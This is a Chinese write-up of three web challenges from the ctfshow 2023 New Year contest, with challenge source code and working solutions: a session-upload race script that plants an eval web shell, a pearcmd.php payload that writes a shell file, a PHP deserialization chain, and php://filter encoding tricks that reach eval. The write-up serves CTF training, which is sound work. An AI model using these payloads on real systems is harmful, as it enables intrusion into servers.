您现在的位置是:首页 > 技术教程 正文

[ctfshow 2023元旦水友赛]web题解

admin 阅读: 2024-03-31
后台-插件-广告管理-内容页头部广告(手机)

文章目录

    • easy_include
      • 方法一 session文件包含
      • 方法二 pearcmd.php本地文件包含
    • easy_web
    • easy_login


easy_include

源码

<?php function waf($path){ $path = str_replace(".","",$path); return preg_match("/^[a-z]+/",$path); } if(waf($_POST[1])){ include "file://".$_POST[1]; }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

定义waf函数,对参数过滤.,返回正则匹配是否为小写字母开头,然后文件包含,对POST参数1进行拼接file://协议

考虑这里拼接的是file协议所以很多手段都不行,我们有两种思路session文件包含或者利用pearcmd.php

方法一 session文件包含

可参考ctfshow的web82脚本,利用PHP_SESSION_UPLOAD_PROGRESS实现

import requests import threading session = requests.session() sess = 'yu22x' url1 = "http://7b4f2934-75bb-4b9a-bf2f-4e1d2560b1a8.challenge.ctf.show/" data1 = { 'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>' } data2 = { '2': 'system("cat /f*");', '1': 'localhost/tmp/sess_' + sess } file = { 'file': 'abc' } cookies = { 'PHPSESSID': sess } stop_threads = False # Flag to stop the threads def write(): while not stop_threads: r = session.post(url1, data=data1, files=file, cookies=cookies) def read(): global stop_threads # Access the flag variable while not stop_threads: r = session.post(url1, data=data2) if 'ctfshow{' in r.text: print(r.text) stop_threads = True # Set the flag to stop the threads threads = [ threading.Thread(target=write), threading.Thread(target=read) ] for t in threads: t.start() for t in threads: t.join() # Wait for the threads to finish
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44

运行得到flag

在这里插入图片描述

方法二 pearcmd.php本地文件包含

原payload

/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php
  • 1

这里文件包含的参数在POST,并且过滤了点号(实际上带.也能成功包含,能执行不知道为啥)

然后考虑如何绕过正则匹配,直接用localhost就行

最终payload

GET: /?+config-create+/&/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php POST: 1=localhost/usr/local/lib/php/pearcmd.php
  • 1
  • 2

在这里插入图片描述

得到flag

在这里插入图片描述

easy_web

源码

开胃小菜,就让我成为签到题叭 <?php header('Content-Type:text/html;charset=utf-8'); error_reporting(0); function waf1($Chu0){ foreach ($Chu0 as $name => $value) { if(preg_match('/[a-z]/i', $value)){ exit("waf1"); } } } function waf2($Chu0){ if(preg_match('/show/i', $Chu0)) exit("waf2"); } function waf_in_waf_php($a){ $count = substr_count($a,'base64'); echo "hinthinthint,base64喔"."
"; if($count!=1){ return True; } if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){ return True; }else{ return false; } } class ctf{ public $h1; public $h2; public function __wakeup(){ throw new Exception("fastfast"); } public function __destruct() { $this->h1->nonono($this->h2); } } class show{ public function __call($name,$args){ if(preg_match('/ctf/i',$args[0][0][2])){ echo "gogogo"; } } } class Chu0_write{ public $chu0; public $chu1; public $cmd; public function __construct(){ $this->chu0 = 'xiuxiuxiu'; } public function __toString(){ echo "__toString"."
"; if ($this->chu0===$this->chu1){ $content='ctfshowshowshowwww'.$_GET['chu0']; if (!waf_in_waf_php($_GET['name'])){ file_put_contents($_GET['name'].".txt",$content); }else{ echo "绕一下吧孩子"; } $tmp = file_get_contents('ctfw.txt'); echo $tmp."
"; if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){ eval($tmp($_GET['cmd'])); }else{ echo "waf!"; } file_put_contents("ctfw.txt",""); } return "Go on"; } } if (!$_GET['show_show.show']){ echo "开胃小菜,就让我成为签到题叭"; highlight_file(__FILE__); }else{ echo "WAF,启动!"; waf1($_REQUEST); waf2($_SERVER['QUERY_STRING']); if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){ unserialize($_GET['show_show.show']); }else{ echo "被waf啦"; } }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100

我们逐一分析,先看waf1

function waf1($Chu0){ foreach ($Chu0 as $name => $value) { if(preg_match('/[a-z]/i', $value)){ exit("waf1"); } } }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

对参数进行正则匹配,如果匹配到字母则退出并回显waf1

我们看看调用处是waf1($_REQUEST);,而$_REQUEST有一个特性,当GET和POST有相同的变量时,匹配POST的变量,那么就可以同时传参GET和POST即可绕过,也就是POST传参数字

然后再来看waf2

function waf2($Chu0){ if(preg_match('/show/i', $Chu0)) exit("waf2"); }
  • 1
  • 2
  • 3
  • 4

正则匹配字符串show(不区分大小写),如果匹配到则退出返回waf2

调用处是waf2($_SERVER['QUERY_STRING']);,它用于获取当前请求的查询字符串部分。查询字符串是位于 URL 中 ? 符号之后的部分,包含了以键值对形式传递的参数。所以我们可以url编码绕过即可

继续看waf_in_waf_php

function waf_in_waf_php($a){ $count = substr_count($a,'base64'); echo "hinthinthint,base64喔"."
"; if($count!=1){ return True; } if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){ return True; }else{ return false; } }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

对我们的参数值匹配base64出现的次数,只能出现一次,然后对一些关键字进行正则匹配

看向反序列化部分代码,链子很简单

ctf::__destruct() -> show::__call() -> Chu0_write::__toString()
  • 1

由于我们的头是__destruct()方法,要绕过wakeup的抛出异常,结合php版本可以用属性个数不一致(当然在后面的C绕过就一起实现了),然后访问不存在的方法调用__call()方法,接着利用正则匹配去触发__toString()方法(当时比赛的时候本地一直在测试怎么回显gogogo以为没有触发正则匹配,其实不管回不回显都会触发链子),然后引用绕过if语句即可。

这里先看下最下面反序列化的条件if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])),我们直接C绕过即可

exp如下

<?php class ctf{ public $h1; public $h2; } class show{ } class Chu0_write{ public $chu0; public $chu1; public $cmd; } $a=new ctf(); $b=new show(); $c=new Chu0_write(); $a->h1=$b; $a->h2=[['','',$c]]; $c->chu0=&$c->chu1; $A=new SplStack(); $A->push($a); echo serialize($A);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

最后来分析如何rce

$content='ctfshowshowshowwww'.$_GET['chu0']; if (!waf_in_waf_php($_GET['name'])){ file_put_contents($_GET['name'].".txt",$content); }else{ echo "绕一下吧孩子"; } $tmp = file_get_contents('ctfw.txt'); echo $tmp."
"; if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){ eval($tmp($_GET['cmd'])); }else{ echo "waf!"; } file_put_contents("ctfw.txt","");
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

我们可以看到eval($tmp($_GET['cmd']));是可以RCE的

先看$tmp的值是从ctfw.txt中读取的内容,而内容对应$content是可控的,但是我们注意到GET参数chu0是会与ctfshowshowshowwww字符串进行拼接导致无法RCE。按照waf_in_waf_php对name的值进行waf以及waf_in_waf_php中的hint是base64,并且结合file_put_contents()函数是可以用过滤器的,那么我们可以尝试构造

file_put_contents('php://filter/write=...|convert.base64-decode/resource=ctfw.txt',$content);
  • 1

参考文章 去除垃圾字符

简单点讲,就是我们先对我们的chu0的值进行加密也就是标记,然后拼接在一起后进行过滤器解析,利用最后的base64-decode无法解析前面ctfshowshowshowwww的垃圾字符被去除掉,而我们的chu0的值则会被正确解析并保留

给个例子

测试数据:test base64编码:dGVzdA== 加上\0(等号也要转换):=00d=00G=00V=00z=00d=00A=00=3D=00=3D 上传后: 垃圾数据=00d=00G=00V=00z=00d=00A=00=3D=00=3D垃圾数据 解码: 垃圾数据\0d \0G \0V \0z \0d \0A \0= \0=垃圾数据 UCS-2转UTF-8:乱码dGVzdA==乱码 base64解码:test
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

由于本题过滤了UCS-2,我们换成UTF-16le,脚本如下

<?php $a='assert';//获取二进制数据 $a=iconv('utf-8','UTF-16le',base64_encode($a));//UCS-2编码 $a=quoted_printable_encode($a);//quoted_printable编码 echo $a; //=00c=003=00l=00z=00d=00G=00V=00t
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

所以payload

name=php://filter/read=convert.quoted-printable-decode|convert.iconv.UTF-16le.UTF-8/convert.base64-decode/resource=ctfw&chu0=Y=00X=00N=00z=00Z=00X=00J=000=00
  • 1

然后就是绕过对cmd的正则

直接show_source结合chr()读取/flag

cmd=%73%68%6F%77_source(chr(47).chr(102).chr(108).chr(97).chr(103));
  • 1

在这里插入图片描述

easy_login

ctfshow红包挑战9原题

参考文章

标签:
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

在线投稿:投稿 站长QQ:1888636

后台-插件-广告管理-内容页尾部广告(手机)
关注我们

扫一扫关注我们,了解最新精彩内容

搜索